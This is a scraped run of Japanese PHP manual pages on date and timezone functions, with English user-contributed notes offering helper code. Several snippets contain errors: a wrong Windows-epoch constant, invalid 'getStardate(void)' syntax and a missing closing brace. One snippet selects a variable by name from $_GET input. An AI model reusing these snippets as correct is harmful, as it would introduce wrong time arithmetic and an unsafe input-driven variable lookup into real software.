        return null;
    }
}
?>

How to use:
<?php
$date = new Cokidoo_Datetime('2011-01-01');
echo $date;
?>
residualenvy at gmail dot com 11-Mar-2011 03:34
My take on a function to find the differences between a timestamp and current time.

Format: findTime($sometime['stamp'], '%d Days, %h Hours, %m Minutes');

Always use plural it will auto correct on singular results.  You don't have to include all %d,%m,%h you may include only one.  To get Total Hours remaining(including days) use %ho.  To get Total Minutes remaining(including hours and days) use %mo.  Take a look at the format I assumed to make any changes.

<?php
function findTime($timestamp, $format) {
        $difference = $timestamp - time();
        if($difference < 0)
            return false;
        else{

            $min_only = intval(floor($difference / 60));
            $hour_only = intval(floor($difference / 3600));

            $days = intval(floor($difference / 86400));
            $difference = $difference % 86400;
            $hours = intval(floor($difference / 3600));
            $difference = $difference % 3600;
            $minutes = intval(floor($difference / 60));
            if($minutes == 60){
                $hours = $hours+1;
                $minutes = 0;
            }

            if($days == 0){
                $format = str_replace('Days', '?', $format);
                $format = str_replace('Ds', '?', $format);
                $format = str_replace('%d', '', $format);
            }
            if($hours == 0){
                $format = str_replace('Hours', '?', $format);
                $format = str_replace('Hs', '?', $format);
                $format = str_replace('%h', '', $format);
            }
            if($minutes == 0){
                $format = str_replace('Minutes', '?', $format);
                $format = str_replace('Mins', '?', $format);
                $format = str_replace('Ms', '?', $format);
                $format = str_replace('%m', '', $format);
            }

            $format = str_replace('?,', '', $format);
            $format = str_replace('?:', '', $format);
            $format = str_replace('?', '', $format);

            $timeLeft = str_replace('%d', number_format($days), $format);
            $timeLeft = str_replace('%ho', number_format($hour_only), $timeLeft);
            $timeLeft = str_replace('%mo', number_format($min_only), $timeLeft);
            $timeLeft = str_replace('%h', number_format($hours), $timeLeft);
            $timeLeft = str_replace('%m', number_format($minutes), $timeLeft);

            if($days == 1){
                $timeLeft = str_replace('Days', 'Day', $timeLeft);
                $timeLeft = str_replace('Ds', 'D', $timeLeft);
            }
            if($hours == 1 || $hour_only == 1){
                $timeLeft = str_replace('Hours', 'Hour', $timeLeft);
                $timeLeft = str_replace('Hs', 'H', $timeLeft);
            }
            if($minutes == 1 || $min_only == 1){
                $timeLeft = str_replace('Minutes', 'Minute', $timeLeft);
                $timeLeft = str_replace('Mins', 'Min', $timeLeft);
                $timeLeft = str_replace('Ms', 'M', $timeLeft);
            }

          return $timeLeft;
        }
    }
?>
php/hotblocks/nl 25-Feb-2011 02:40
The easiest way to get the gmtime is to use gmdate():

<?php
$gmtime = (int)gmdate('U');
?>
Yi 23-Feb-2011 08:29
A method return GMT time (gmttime):

<?php
$gmtimenow = time() - (int)substr(date('O'),0,3)*60*60;
echo $gmtimenow . "\n";
?>

it convert current time to GMT based on time zone offset.

by frank.
karls_post at hotmail dot com 23-Jan-2011 03:44
To accurately calculate the difference between the current time and a time in the future I use the following.

<?php
function time_difference($endtime){
    $days= (date("j",$endtime)-1);
    $months =(date("n",$endtime)-1);
    $years =(date("Y",$endtime)-1970);
    $hours =date("G",$endtime);
    $mins =date("i",$endtime);
    $secs =date("s",$endtime);
    $diff="'day': ".$days.",'month': ".$months.",'year': ".$years.",'hour': ".$hours.",'min': ".$mins.",'sec': ".$secs;
    return $diff;
}
$end_time = $future_date - time();
$difference = time_difference($end_time);
echo $difference;

//sample output
'day': 2,'month': 1,'year': 0,'hour': 2,'min': 05,'sec': 41

?>
Timo K 02-Oct-2010 05:49
The documentation should have this info. The function time() returns always timestamp that is timezone independent (=UTC).

<?php
date_default_timezone_set("UTC");
echo "UTC:".time();
echo "<br>";

date_default_timezone_set("Europe/Helsinki");
echo "Europe/Helsinki:".time();
echo "<br>";
?>

Local time as string can be get by strftime() and local timestamp (if ever needed) by mktime().
johan dot lindskog at humlab dot umu dot se 26-Aug-2010 06:35
I needed to convert between Unix timestamps and Windows/AD timestamps, so I wrote a pair of simple functions for it.

<?php
function unix_time_to_win_time($unix_time) {
  //add the seconds between 1601-01-01 and 1970-01-01 and make it 100-nanosecond precision
  $win_time = ($unix_time + 11644477200) * 10000000;
  return $win_time;
}

function win_time_to_unix_time($win_time) {
  //round the win timestamp down to seconds and remove the seconds between 1601-01-01 and 1970-01-01
  $unix_time = round($win_time / 10000000) - 11644477200;
  return $unix_time;
}
?>
John Galt 14-Aug-2010 03:46
This is another function to calculate the difference between two times and output it in a relative format. This one, however, combines various units. In other words, it will return "3 days, 2 hours, 6 minutes, and 2 seconds ago" instead of "3 days ago."

Please bear in mind that it is intended for times that are very close together. It will not be accurate for calculating dates more than a month apart. This is because one of the units it relies on is "weeks," which do not correspond directly with months. What I'm trying to get across is, the program assumes that a month is precisely 4 weeks long, i.e. 28 days. This also means that a "year" according to this function is 336 days.

<?php
 function rel_time($from, $to = null)
 {
  $to = (($to === null) ? (time()) : ($to));
  $to = ((is_int($to)) ? ($to) : (strtotime($to)));
  $from = ((is_int($from)) ? ($from) : (strtotime($from)));

  $units = array
  (
   "year"   => 29030400, // seconds in a year   (12 months)
   "month"  => 2419200,  // seconds in a month  (4 weeks)
   "week"   => 604800,   // seconds in a week   (7 days)
   "day"    => 86400,    // seconds in a day    (24 hours)
   "hour"   => 3600,     // seconds in an hour  (60 minutes)
   "minute" => 60,       // seconds in a minute (60 seconds)
   "second" => 1         // 1 second
  );

  $diff = abs($from - $to);
  $suffix = (($from > $to) ? ("from now") : ("ago"));

  foreach($units as $unit => $mult)
   if($diff >= $mult)
   {
    $and = (($mult != 1) ? ("") : ("and "));
    $output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
    $diff -= intval($diff / $mult) * $mult;
   }
  $output .= " ".$suffix;
  $output = substr($output, strlen(", "));

  return $output;
 }
?>

The function rel_time() accepts two parameters: $from and $to. For best results, provide them as UNIX timestamps (derived from PHP's time() function). They also accept formats supported by strtotime(). $to is an optional argument and defaults to the current time.

The function will calculate the difference between $from and $to. If $from occurs after $to, the function will substitue "ago" with "from now."

Example usage:
<?php
 echo rel_time("September 2, 2010 4:20 PM");
 // returns "2 weeks, 4 days, 23 hours, 25 minutes, and 3 seconds from now"
?>
nickr at visuality dot com 08-Feb-2010 01:54
Here is a version for the difference code that displays "ago" code.

It does use some precision after the time difference is longer than a day. ( ie days are more than 60 * 60 * 24 hours long )

<?php

    function ago($datefrom,$dateto=-1)
    {
        // Defaults and assume if 0 is passed in that
        // its an error rather than the epoch

        if($datefrom==0) { return "A long time ago"; }
        if($dateto==-1) { $dateto = time(); }

        // Make the entered date into Unix timestamp from MySQL datetime field

        $datefrom = strtotime($datefrom);

        // Calculate the difference in seconds betweeen
        // the two timestamps

        $difference = $dateto - $datefrom;

        // Based on the interval, determine the
        // number of units between the two dates
        // From this point on, you would be hard
        // pushed telling the difference between
        // this function and DateDiff. If the $datediff
        // returned is 1, be sure to return the singular
        // of the unit, e.g. 'day' rather 'days'

        switch(true)
        {
            // If difference is less than 60 seconds,
            // seconds is a good interval of choice
            case(strtotime('-1 min', $dateto) < $datefrom):
                $datediff = $difference;
                $res = ($datediff==1) ? $datediff.' second ago' : $datediff.' seconds ago';
                break;
            // If difference is between 60 seconds and
            // 60 minutes, minutes is a good interval
            case(strtotime('-1 hour', $dateto) < $datefrom):
                $datediff = floor($difference / 60);
                $res = ($datediff==1) ? $datediff.' minute ago' : $datediff.' minutes ago';
                break;
            // If difference is between 1 hour and 24 hours
            // hours is a good interval
            case(strtotime('-1 day', $dateto) < $datefrom):
                $datediff = floor($difference / 60 / 60);
                $res = ($datediff==1) ? $datediff.' hour ago' : $datediff.' hours ago';
                break;
            // If difference is between 1 day and 7 days
            // days is a good interval
            case(strtotime('-1 week', $dateto) < $datefrom):
                $day_difference = 1;
                while (strtotime('-'.$day_difference.' day', $dateto) >= $datefrom)
                {
                    $day_difference++;
                }

                $datediff = $day_difference;
                $res = ($datediff==1) ? 'yesterday' : $datediff.' days ago';
                break;
            // If difference is between 1 week and 30 days
            // weeks is a good interval
            case(strtotime('-1 month', $dateto) < $datefrom):
                $week_difference = 1;
                while (strtotime('-'.$week_difference.' week', $dateto) >= $datefrom)
                {
                    $week_difference++;
                }

                $datediff = $week_difference;
                $res = ($datediff==1) ? 'last week' : $datediff.' weeks ago';
                break;
            // If difference is between 30 days and 365 days
            // months is a good interval, again, the same thing
            // applies, if the 29th February happens to exist
            // between your 2 dates, the function will return
            // the 'incorrect' value for a day
            case(strtotime('-1 year', $dateto) < $datefrom):
                $months_difference = 1;
                while (strtotime('-'.$months_difference.' month', $dateto) >= $datefrom)
                {
                    $months_difference++;
                }

                $datediff = $months_difference;
                $res = ($datediff==1) ? $datediff.' month ago' : $datediff.' months ago';

                break;
            // If difference is greater than or equal to 365
            // days, return year. This will be incorrect if
            // for example, you call the function on the 28th April
            // 2008 passing in 29th April 2007. It will return
            // 1 year ago when in actual fact (yawn!) not quite
            // a year has gone by
            case(strtotime('-1 year', $dateto) >= $datefrom):
                $year_difference = 1;
                while (strtotime('-'.$year_difference.' year', $dateto) >= $datefrom)
                {
                    $year_difference++;
                }

                $datediff = $year_difference;
                $res = ($datediff==1) ? $datediff.' year ago' : $datediff.' years ago';
                break;

        }
        return $res;

?>
yasmary at gmail dot com 06-Mar-2009 12:48
A time difference function that outputs the time passed in facebook's style: 1 day ago, or 4 months ago. I took andrew dot macrobert at gmail dot com function and tweaked it a bit. On a strict enviroment it was throwing errors, plus I needed it to calculate the difference in time between a past date and a future date.

<?php
function nicetime($date)
{
    if(empty($date)) {
        return "No date provided";
    }

    $periods         = array("second", "minute", "hour", "day", "week", "month", "year", "decade");
    $lengths         = array("60","60","24","7","4.35","12","10");

    $now             = time();
    $unix_date         = strtotime($date);

       // check validity of date
    if(empty($unix_date)) {
        return "Bad date";
    }

    // is it future date or past date
    if($now > $unix_date) {
        $difference     = $now - $unix_date;
        $tense         = "ago";

    } else {
        $difference     = $unix_date - $now;
        $tense         = "from now";
    }

    for($j = 0; $difference >= $lengths[$j] && $j < count($lengths)-1; $j++) {
        $difference /= $lengths[$j];
    }

    $difference = round($difference);

    if($difference != 1) {
        $periods[$j].= "s";
    }

    return "$difference $periods[$j] {$tense}";
}

$date = "2009-03-04 17:45";
$result = nicetime($date); // 2 days ago

?>
anon 26-Jan-2009 05:16
Below, a function to create TNG-style stardates, taking 2009 to start stardate 41000.0.  In fact, the offset is trivial to adjust if you wish to begin from a different date.

<?php
function getStardate(void)
{
  $offset = 2000;
  $seconds_per_stardate = 31449.6; // is the number of seconds in a year divided by 1000, for hopefully obvious reasons
  return time() / $seconds_per_stardate + $offset;
}
?>

Other series use less reliable stardate formats, which makes it difficult [read: nigh impossible] to create a function that converts a unix timestamp into a stardate.
Anonymous 01-Sep-2008 05:30
A cleaner example (half the comparisons) of distanceOfTimeInWords() function below:

<?php
public static function distanceOfTimeInWords($fromTime, $toTime = 0, $showLessThanAMinute = false) {
    $distanceInSeconds = round(abs($toTime - $fromTime));
    $distanceInMinutes = round($distanceInSeconds / 60);

        if ( $distanceInMinutes <= 1 ) {
            if ( !$showLessThanAMinute ) {
                return ($distanceInMinutes == 0) ? 'less than a minute' : '1 minute';
            } else {
                if ( $distanceInSeconds < 5 ) {
                    return 'less than 5 seconds';
                }
                if ( $distanceInSeconds < 10 ) {
                    return 'less than 10 seconds';
                }
                if ( $distanceInSeconds < 20 ) {
                    return 'less than 20 seconds';
                }
                if ( $distanceInSeconds < 40 ) {
                    return 'about half a minute';
                }
                if ( $distanceInSeconds < 60 ) {
                    return 'less than a minute';
                }

                return '1 minute';
            }
        }
        if ( $distanceInMinutes < 45 ) {
            return $distanceInMinutes . ' minutes';
        }
        if ( $distanceInMinutes < 90 ) {
            return 'about 1 hour';
        }
        if ( $distanceInMinutes < 1440 ) {
            return 'about ' . round(floatval($distanceInMinutes) / 60.0) . ' hours';
        }
        if ( $distanceInMinutes < 2880 ) {
            return '1 day';
        }
        if ( $distanceInMinutes < 43200 ) {
            return 'about ' . round(floatval($distanceInMinutes) / 1440) . ' days';
        }
        if ( $distanceInMinutes < 86400 ) {
            return 'about 1 month';
        }
        if ( $distanceInMinutes < 525600 ) {
            return round(floatval($distanceInMinutes) / 43200) . ' months';
        }
        if ( $distanceInMinutes < 1051199 ) {
            return 'about 1 year';
        }

        return 'over ' . round(floatval($distanceInMinutes) / 525600) . ' years';
}
?>
Josh Abraham 28-Sep-2007 07:43
When dealing with the results of the time function, taking the modulus (remainder) is often a good way to find recurring information such as day of the week, week of the year, or month of the year. In the example given below of a firefighter's shift, you could do the following to simplify the code.

<?php

function whatShift() {

  $referencePoint = mktime(7, 0, 0, 9, 11, 2004);   // Sept 11, 2004 at 7AM started an A Shift.

  //This is the where we divide the current time since reference by the amount of time in all shifts
  //The result of this is the remainder.
  $sinceReference = (time() - $referencePoint) % (60 * 60 * 24 * 3);

  //The rest of the code can be basically the same so I shortened it here.
  if ($sinceReference < 60 * 60 * 25)  $shift = "A";
  elseif ($sinceReference < 60 * 60 * 49)  $shift = "B";
  else $shift = "C";

  return $shift;

}

?>
lsd25 at hotmail dot com 01-Sep-2007 07:53
I did an article on floating point time you can download from my website. Roun movements is the radial ounion movement and there is a quantum ounion movement as well, this code will generate the data for http://www.chronolabs.org.au/bin/roun-time-article.pdf which is an article on floating point time, I have created the calendar system as well for this time. It is compatible with other time and other solar systems with different revolutions of the planets as well as different quantumy stuff.

Thanks:

<?php
if ($gmt>0){
        $gmt=-$gmt;
    } else {
        $gmt=$gmt+$gmt+$gmt;
    }

    $ptime = strtotime('2008-05-11 10:05 AM')+(60*60*gmt);
    $weight = -20.22222222223+(1*gmt);

    $roun_xa = ($tme)/(24*60*60);
    $roun_ya = $ptime/(24*60*60);
    $roun = (($roun_xa -$roun_ya) - $weight)+(microtime/999999);

    $nonedeficient = array("seq1" => array(31,30,31,30,30,30,31,30,31,30,31,30),
                           "seq2" => array(31,30,31,30,31,30,31,30,31,30,31,30),
                           "seq3" => array(31,30,31,30,30,30,31,30,31,30,31,30),
                           "seq4" => array(31,30,31,30,30,30,31,30,31,30,31,30));

    $deficient =     array("seq1" => array(31,30,31,30,30,30,31,30,31,30,31,30),
                           "seq2" => array(31,30,31,30,31,30,31,30,31,30,31,30),
                           "seq3" => array(31,30,31,30,31,30,31,30,30,30,31,30),
                           "seq4" => array(30,30,31,30,31,30,31,30,31,30,31,30));

    $monthusage = isset($_GET['deficienty']) ? ${$_GET['deficienty']} : $deficient;

    foreach($monthusage as $key => $item){
        $i++;
        foreach($item as $numdays){
            $ttl_num=$ttl_num+$numdays;
        }
    }

    $revolutionsperyear = $ttl_num / $i;
    $numyears = round((round(ceil($roun)) / $revolutionsperyear),0);

    $jtl = abs(abs($roun) - ceil($revolutionsperyear*($numyears+1)));

    while($month==0){
        $day=0;
        foreach($monthusage as $key => $item){
            $t++;
            $u=0;
            foreach($item as $numdays){
                if ($ii<abs($roun)){
                    $isbelow=true;
                }
                $ii=$ii+$numdays;
                if ($ii>abs($roun)){
                    $isabove=true;
                }
                if ($isbelow==true&&$isabove==true){
                    $daynum = floor(($ii-$numday)-abs($roun));
                    $month = $u;
                    $month++;
                    $isbelow=false;
                    $isabove=false;
                    $nodaycount=true;
                }
                if ($nodaycount==false)
                    $day++;
                $u++;
            }
        }

    }

    $timer = substr($roun, strpos($roun,'.')+1,strlen($roun)-strpos($roun,'.')-1);

    $roun_out= $numyears.'-'.$month.'-'.$daynum.' '.$day.".$timer";

?>
send at mail dot 2aj dot net 08-Jun-2006 11:58
If you want to create a "rounded" time stamp, for example, to the nearest 15 minutes use this as a reference:

<?php
$round_numerator = 60 * 15 // 60 seconds per minute * 15 minutes equals 900 seconds
//$round_numerator = 60 * 60 or to the nearest hour
//$round_numerator = 60 * 60 * 24 or to the nearest day

// Calculate time to nearest 15 minutes!
$rounded_time = ( round ( time() / $round_numerator ) * $round_numerator );

//If it was 12:40 this would return the timestamp for 12:45;
//3:04, 3:00; etc.
?>
mayank_arya at hotmail dot com 28-May-2003 06:13
Here's one way to generate all intermediate dates (in mySQL format) between any 2 dates.
Get start and end dates from user input, you'd need to do the basic validations that :
- start and end dates are valid dates
- start date <= end date.

<?php
//start date 2001-02-23
$sm=2;
$sd=23;
$sy=2001;

//end date 2001-03-14
$em=3;
$ed=14;
$ey=2001;

//utc of start and end dates
$s=mktime(0,0,0,$sm, $sd, $sy);
$e=mktime(0,0,0,$em, $ed, $ey);

while($s<=$e){
print date('Y-m-d',$s)."< br >"; //display date in  mySQL format
$s=$s+86400; //increment date by 86400 seconds(1 day)
}

Hope this helps :)

?>


DateTimeZone::listAbbreviations のエイリアス

  • ≪ time
  • timezone_identifiers_list ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTimeZone::listAbbreviations のエイリアス

timezone_abbreviations_list

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

timezone_abbreviations_list — DateTimeZone::listAbbreviations() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTimeZone::listAbbreviations()

User Contributed Notes

dustinalan 21-Apr-2010 01:58
This was driving me nuts so I'm adding a note here.

Took a while to get the simple time zone abbreviation for a given time zone. If you have the name just do this:

<?php
$dateTime = new DateTime();
$dateTime->setTimeZone(new DateTimeZone('America/Los_Angeles'));
return $dateTime->format('T');
?>

Will return PST

[red.: Or PDT is the current date/time is during Daylight Savings Time]
Chris Danielson 01-Oct-2008 09:46
The mention of using 'US/Pacific-New' is actually a deprecated process.

See here:  http://us.php.net/manual/en/timezones.others.php

Where it is described:

Please do not use any of the timezones listed here (besides UTC), they only exist for backward compatible reasons.
drizzt321 at gmail dot com 20-Aug-2008 09:54
If anyone is confused about the US/Pacific-New that appears in the list, apparently it has something to do with a bill that was that was passed by the House in 1989, but never signed into law. It has to do with delaying the switchover until after the election. Read more about it at http://catless.ncl.ac.uk/Risks/13.87.html and it should be the first posting. Or just do a search for US/Pacific-New.


DateTimeZone::listIdentifiers のエイリアス

  • ≪ timezone_abbreviations_list
  • timezone_location_get ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTimeZone::listIdentifiers のエイリアス

timezone_identifiers_list

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

timezone_identifiers_list — DateTimeZone::listIdentifiers() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTimeZone::listIdentifiers()

User Contributed Notes

jd dot aus dot st at gmail dot com 13-Jul-2018 02:48
to create a list of all timezones using the code as the value, use the below:
<?php
function select_Timezone($selected = '') {
    $OptionsArray = timezone_identifiers_list();
        $select= '<select name="SelectContacts">';
        while (list ($key, $row) = each ($OptionsArray) ){
            $select .='<option value="'.$key.'"';
            $select .= ($key == $selected ? ' selected' : '');
            $select .= '>'.$row.'</option>';
        }  // endwhile;
        $select.='</select>';
return $select;
}
?>

The above func takes one optional parameter which is the selected timezone, example for sydney Australia would be:
<?php
echo select_Timezone(313) . '<br>';
?>

If you wanted to just display the list (no pre-selected option):
<?php
echo select_Timezone() . '<br>';
?>

much easier to understand than the other options on this page (although not as flexible).
paul at burney dot ws 06-May-2009 01:33
Please note that the timezone_identifiers_list function is not available in the most recent versions of PHP available for CentOS/RHEL as of this writing ( 5.1.6-23.2.el5_3 ).

I think the function is labeled as >= 5.1.0 in this documentation because it's possible to get the Date::Time class installed in 5.1 if you're compiling from scratch (or it's a documentation error).

I just spent a bunch of time trying to get it to work in 5.1 (installing timezonedb manually because the default PECL runs out of memory, etc.), but have decided to use a manually generated list instead. The actual timezone support seems to work fine in 5.1.
david at mytton dot net 22-Feb-2009 08:11
A better code snippet to return useful timezone information that can be used in a drop menu, for example:

<?php
$zones = timezone_identifiers_list();

foreach ($zones as $zone)
{
    $zone = explode('/', $zone); // 0 => Continent, 1 => City

    // Only use "friendly" continent names
    if ($zone[0] == 'Africa' || $zone[0] == 'America' || $zone[0] == 'Antarctica' || $zone[0] == 'Arctic' || $zone[0] == 'Asia' || $zone[0] == 'Atlantic' || $zone[0] == 'Australia' || $zone[0] == 'Europe' || $zone[0] == 'Indian' || $zone[0] == 'Pacific')
    {
        if (isset($zone[1]) != '')
        {
            $locations[$zone[0]][$zone[0]. '/' . $zone[1]] = str_replace('_', ' ', $zone[1]); // Creates array(DateTimeZone => 'Friendly name')
        }
    }
}
?>

The $locations array will contain a multi-dimensional array for each continent like

Array
(
    [Africa] => Array
        (
            [Africa/Abidjan] => Abidjan
            [Africa/Accra] => Accra
            [Africa/Addis_Ababa] => Addis Ababa
            [Africa/Algiers] => Algiers
            ...
        )
    [America] => Array
        (
            [America/Adak] => Adak
            [America/Anchorage] => Anchorage
            [America/Anguilla] => Anguilla
            ...
vats_tco at comcast dot net 19-Nov-2007 10:14
This is the updated code from below. This one has been debugged so it doesn't receive any warnings or errors like the code below will receive. Hope this helps.

<?php
function get_tz_options($selectedzone, $label, $desc = '')
{
  echo '<div class="label"><label for="edited_user_timezone">'.$label.':</label></div>';
  echo '<div class="input"><select name="edited_user_timezone">';
  function timezonechoice($selectedzone) {
    $all = timezone_identifiers_list();

    $i = 0;
    foreach($all AS $zone) {
      $zone = explode('/',$zone);
      $zonen[$i]['continent'] = isset($zone[0]) ? $zone[0] : '';
      $zonen[$i]['city'] = isset($zone[1]) ? $zone[1] : '';
      $zonen[$i]['subcity'] = isset($zone[2]) ? $zone[2] : '';
      $i++;
    }

    asort($zonen);
    $structure = '';
    foreach($zonen AS $zone) {
      extract($zone);
      if($continent == 'Africa' || $continent == 'America' || $continent == 'Antarctica' || $continent == 'Arctic' || $continent == 'Asia' || $continent == 'Atlantic' || $continent == 'Australia' || $continent == 'Europe' || $continent == 'Indian' || $continent == 'Pacific') {
        if(!isset($selectcontinent)) {
          $structure .= '<optgroup label="'.$continent.'">'; // continent
        } elseif($selectcontinent != $continent) {
          $structure .= '</optgroup><optgroup label="'.$continent.'">'; // continent
        }

        if(isset($city) != ''){
          if (!empty($subcity) != ''){
            $city = $city . '/'. $subcity;
          }
          $structure .= "<option ".((($continent.'/'.$city)==$selectedzone)?'selected="selected "':'')." value=\"".($continent.'/'.$city)."\">".str_replace('_',' ',$city)."</option>"; //Timezone
        } else {
          if (!empty($subcity) != ''){
            $city = $city . '/'. $subcity;
          }
          $structure .= "<option ".(($continent==$selectedzone)?'selected="selected "':'')." value=\"".$continent."\">".$continent."</option>"; //Timezone
        }

        $selectcontinent = $continent;
      }
    }
    $structure .= '</optgroup>';
    return $structure;
  }
  echo timezonechoice($selectedzone);
  echo '</select>';
  echo '<span class="notes"> '.$desc.' </span></div>';
}
?>


DateTimeZone::getLocation のエイリアス

  • ≪ timezone_identifiers_list
  • timezone_name_from_abbr ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTimeZone::getLocation のエイリアス

timezone_location_get

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

timezone_location_get — DateTimeZone::getLocation() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTimeZone::getLocation()

User Contributed Notes

There are no user contributed notes for this page.


略称からタイムゾーン名を返す

  • ≪ timezone_location_get
  • timezone_name_get ≫
  • PHP Manual
  • 日付・時刻 関数
  • 略称からタイムゾーン名を返す

timezone_name_from_abbr

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

timezone_name_from_abbr — 略称からタイムゾーン名を返す

説明

timezone_name_from_abbr ( string $abbr , int $utcOffset = -1 , int $isDST = -1 ) : string|false

パラメータ

abbr

タイムゾーンの略称。

utcOffset

GMT からのオフセット秒数。デフォルトは -1 で、 この場合は abbr に対応するタイムゾーンのうち最初に見つかったものを返します。 それ以外の場合は指定したオフセットを探し、 そこで見つからなかった場合には 他のオフセットも含めて最初に見つかったものを返します。

isDST

夏時間のインジケータ。デフォルトは -1 で、 タイムゾーンが夏時間を持っているかどうかは考慮せずに検索します。 この値を 1 にすると、utcOffset は夏時間を考慮したオフセットと見なします。 0 の場合は、utcOffset は夏時間を考慮しないオフセットと見なします。 abbr が存在しない場合、 タイムゾーンの検索は utcOffset と isDST だけで行います。

返り値

成功した場合にタイムゾーン名、失敗した場合に false を返します。

例

例1 timezone_name_from_abbr() の例

<?php
echo timezone_name_from_abbr("CET") . "\n";
echo timezone_name_from_abbr("", 3600, 0) . "\n";
?>

上の例の出力は、 たとえば以下のようになります。

Europe/Berlin
Europe/Paris

参考

  • timezone_abbreviations_list() - DateTimeZone::listAbbreviations のエイリアス

User Contributed Notes

Jon Stovell 24-Sep-2016 05:34
In some cases, timezone_name_from_abbr() may return a "historical" (i.e. deprecated) timezone identifier rather than the current standard one for a given location. For example:
<?php
echo timezone_name_from_abbr('EASST'); // prints "Chile/EasterIsland" instead of "Pacific/Easter"
?>

This means that the returned timezone identifier is not guaranteed to be in the results of timezone_identifiers_list() unless you include the "backwards compatible" timezones.
<?php
var_dump(in_array(timezone_name_from_abbr('EASST'), timezone_identifiers_list())); // (bool)false
var_dump(in_array(timezone_name_from_abbr('EASST'), timezone_identifiers_list(DateTimeZone::ALL_WITH_BC))); // (bool)true
?>
atrauzzi at gmail dot com 16-Mar-2016 12:59
Fun fact: (60*60) * -2 always seems to return null.

Perhaps because there's no timezone that corresponds to UTC -2.
Master Tablu 24-Feb-2009 07:03
Another way to do this is to wrap the function in a class that extends the DateTimeZone class:

<?php

/**
 * Helps with timezones.
 * @link http://us.php.net/manual/en/class.datetimezone.php
 *
 * @package  Date
 */
class Helper_DateTimeZone extends DateTimeZone
{
    /**
     * Converts a timezone hourly offset to its timezone's name.
     * @example $offset = -5, $isDst = 0 <=> return value = 'America/New_York'
     *
     * @param float $offset The timezone's offset in hours.
     *                      Lowest value: -12 (Pacific/Kwajalein)
     *                      Highest value: 14 (Pacific/Kiritimati)
     * @param bool  $isDst  Is the offset for the timezone when it's in daylight
     *                      savings time?
     *
     * @return string The name of the timezone: 'Asia/Tokyo', 'Europe/Paris', ...
     */
    final public static function tzOffsetToName($offset, $isDst = null)
    {
        if ($isDst === null)
        {
            $isDst = date('I');
        }

        $offset *= 3600;
        $zone    = timezone_name_from_abbr('', $offset, $isDst);

        if ($zone === false)
        {
            foreach (timezone_abbreviations_list() as $abbr)
            {
                foreach ($abbr as $city)
                {
                    if ((bool)$city['dst'] === (bool)$isDst &&
                        strlen($city['timezone_id']) > 0    &&
                        $city['offset'] == $offset)
                    {
                        $zone = $city['timezone_id'];
                        break;
                    }
                }

                if ($zone !== false)
                {
                    break;
                }
            }
        }

        return $zone;
    }
}
?>

Then you could do something like this:

<?php
$Dtz = new Helper_DateTimeZone(Helper_DateTimeZone::tzOffsetToName(-5));
var_dump($Dtz->getName());

string(16) "America/New_York"
?>
chris at mretc dot net 10-Nov-2008 05:25
timezone_name_from_abbr() sometimes returns FALSE instead of an actual timezone: http://bugs.php.net/44780

It's possible to workaround it for some cases by getting the timezone name from timezone_abbreviations_list(). For example, if you have the GMT offset and want a timezone name:

<?php
/* Takes a GMT offset (in hours) and returns a timezone name */
function tz_offset_to_name($offset)
{
        $offset *= 3600; // convert hour offset to seconds
        $abbrarray = timezone_abbreviations_list();
        foreach ($abbrarray as $abbr)
        {
                foreach ($abbr as $city)
                {
                        if ($city['offset'] == $offset)
                        {
                                return $city['timezone_id'];
                        }
                }
        }

        return FALSE;
}
?>


DateTimeZone::getName のエイリアス

  • ≪ timezone_name_from_abbr
  • timezone_offset_get ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTimeZone::getName のエイリアス

timezone_name_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

timezone_name_get — DateTimeZone::getName() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTimeZone::getName()

User Contributed Notes

There are no user contributed notes for this page.


DateTimeZone::getOffset のエイリアス

  • ≪ timezone_name_get
  • timezone_open ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTimeZone::getOffset のエイリアス

timezone_offset_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

timezone_offset_get — DateTimeZone::getOffset() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTimeZone::getOffset()

User Contributed Notes

[d][a][n][at][authenticdesign][.][net] 22-May-2008 03:02
Hi,
This might help someone with timezone differences. I wanted to find the offset in seconds between my timezone and a remote timezone so I wrote this function and it seems to work well for me.

<?php
/**    Returns the offset from the origin timezone to the remote timezone, in seconds.
*    @param $remote_tz;
*    @param $origin_tz; If null the servers current timezone is used as the origin.
*    @return int;
*/
function get_timezone_offset($remote_tz, $origin_tz = null) {
    if($origin_tz === null) {
        if(!is_string($origin_tz = date_default_timezone_get())) {
            return false; // A UTC timestamp was returned -- bail out!
        }
    }
    $origin_dtz = new DateTimeZone($origin_tz);
    $remote_dtz = new DateTimeZone($remote_tz);
    $origin_dt = new DateTime("now", $origin_dtz);
    $remote_dt = new DateTime("now", $remote_dtz);
    $offset = $origin_dtz->getOffset($origin_dt) - $remote_dtz->getOffset($remote_dt);
    return $offset;
}
?>
Examples:
<?php
// This will return 10800 (3 hours) ...
$offset = get_timezone_offset('America/Los_Angeles','America/New_York');
// or, if your server time is already set to 'America/New_York'...
$offset = get_timezone_offset('America/Los_Angeles');
// You can then take $offset and adjust your timestamp.
$offset_time = time() + $offset;
?>

Happy Coding!!
richard at phase dot org 20-Mar-2007 03:05
The following extended example may make the usage clearer;
<?php
// Create two timezone objects, one for Taipei (Taiwan) and one for
// Tokyo (Japan)
$dateTimeZoneTaipei = new DateTimeZone("Asia/Taipei");
$dateTimeZoneJapan = new DateTimeZone("Asia/Tokyo");

// Create two DateTime objects that will contain the same Unix timestamp, but
// have different timezones attached to them.
$dateTimeTaipei = new DateTime("now", $dateTimeZoneTaipei);
$dateTimeJapan = new DateTime("now", $dateTimeZoneJapan);

// NOTE: $dateTimeJapan is not used further in this example

// Calculate the GMT offset for the date/time contained in the $dateTimeTaipei
// object, but using the timezone rules as defined for Tokyo
// ($dateTimeZoneJapan).
$timeOffset = $dateTimeZoneJapan->getOffset($dateTimeTaipei);

